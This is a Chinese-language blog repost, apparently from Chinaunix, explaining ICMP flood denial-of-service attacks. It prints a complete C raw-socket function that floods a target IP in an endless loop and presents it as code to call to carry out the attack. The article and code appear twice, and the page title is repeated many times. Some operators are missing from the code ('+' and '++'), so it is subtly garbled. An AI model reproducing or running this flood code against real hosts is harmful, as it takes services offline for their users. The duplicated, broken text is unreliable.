Chinaunix首页 | 论坛 | 博客
  • 博客访问: 14497793
  • 博文数量: 5645
  • 博客积分: 9880
  • 博客等级: 中将
  • 技术积分: 68081
  • 用 户 组: 普通用户
  • 注册时间: 2008-04-28 13:35
文章分类

全部博文(5645)

文章存档

2008年(5645)

我的朋友

分类:

2008-04-28 21:34:10

下载本文示例代码
         推荐:应用程序安全的魔道之争  拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。  ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:    ICMP FLOOD攻击  大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。  调用下面的程序可实现ICMP Flood攻击: int icmpFlood(int PacketSize, char *DestIp, int type, int code){ int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header;  if (PacketSize > 65500) {  return FALSE; } if (type > 16) {  return FALSE; } if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0) {  return FALSE; } if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {  return FALSE; } ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) {  return FALSE; } printf("Starting...\n\n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp); icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) PacketSize); datasize = sizeof(icmp_header) PacketSize; while (1) {  printf("Sending 1024 packets...\n");  for (counter = 0; counter < 1024; counter )  {   ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));   if (ErrorCode == SOCKET_ERROR)    printf("\nSend Error:%d\n", GetLastError());  } } if (SockRaw != INVALID_SOCKET)  closesocket(SockRaw); WSACleanup(); return TRUE;}共2页。 1 2 8 :          推荐:应用程序安全的魔道之争  拒绝服务攻击(DoS)企图通过使被攻击的计算机资源消耗殆尽从而不能再提供服务,拒绝服务攻击是最容易实施的攻击行为。中美黑客大战中的中国黑客一般对美进行的就是拒绝服务攻击,其技术手段大多不够高明。  ICMP实现拒绝服务攻击的途径有二:一者"单刀直入",一者"借刀杀人"。具体过程分析如下:    ICMP FLOOD攻击  大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。  调用下面的程序可实现ICMP Flood攻击: int icmpFlood(int PacketSize, char *DestIp, int type, int code){ int datasize, ErrorCode; int TimeOut = 2000, SendSEQ = 0, PacketSize = 32, type = 8, code = 0, counter = 0; char SendBuf[65535] = { 0 }; WSADATA wsaData; SOCKET SockRaw = (SOCKET)NULL; struct sockaddr_in DestAddr; ICMP_HEADER icmp_header;  if (PacketSize > 65500) {  return FALSE; } if (type > 16) {  return FALSE; } if ((ErrorCode = WSAStartup(MAKEWORD(2, 1), &wsaData)) != 0) {  return FALSE; } if ((SockRaw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_ICMP, NULL, 0,WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) {  return FALSE; } ErrorCode = setsockopt(SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char*) &TimeOut,sizeof(TimeOut)); if (ErrorCode == SOCKET_ERROR) {  return FALSE; } printf("Starting...\n\n"); memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_addr.s_addr = inet_addr(DestIp); icmp_header.i_type = type; icmp_header.i_code = code; icmp_header.i_cksum = 0; icmp_header.i_id = 2; icmp_header.timestamp = GetTickCount(); icmp_header.i_seq = 999; memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); memset(SendBuf sizeof(icmp_header), 'E', PacketSize); icmp_header.i_cksum = checksum((unsigned short*)SendBuf, sizeof(icmp_header) PacketSize); datasize = sizeof(icmp_header) PacketSize; while (1) {  printf("Sending 1024 packets...\n");  for (counter = 0; counter < 1024; counter )  {   ErrorCode = sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));   if (ErrorCode == SOCKET_ERROR)    printf("\nSend Error:%d\n", GetLastError());  } } if (SockRaw != INVALID_SOCKET)  closesocket(SockRaw); WSACleanup(); return TRUE;}共2页。 1 2 8 : 下载本文示例代码


原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击原始套接字透析之ICMP拒绝服务攻击
阅读(128) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~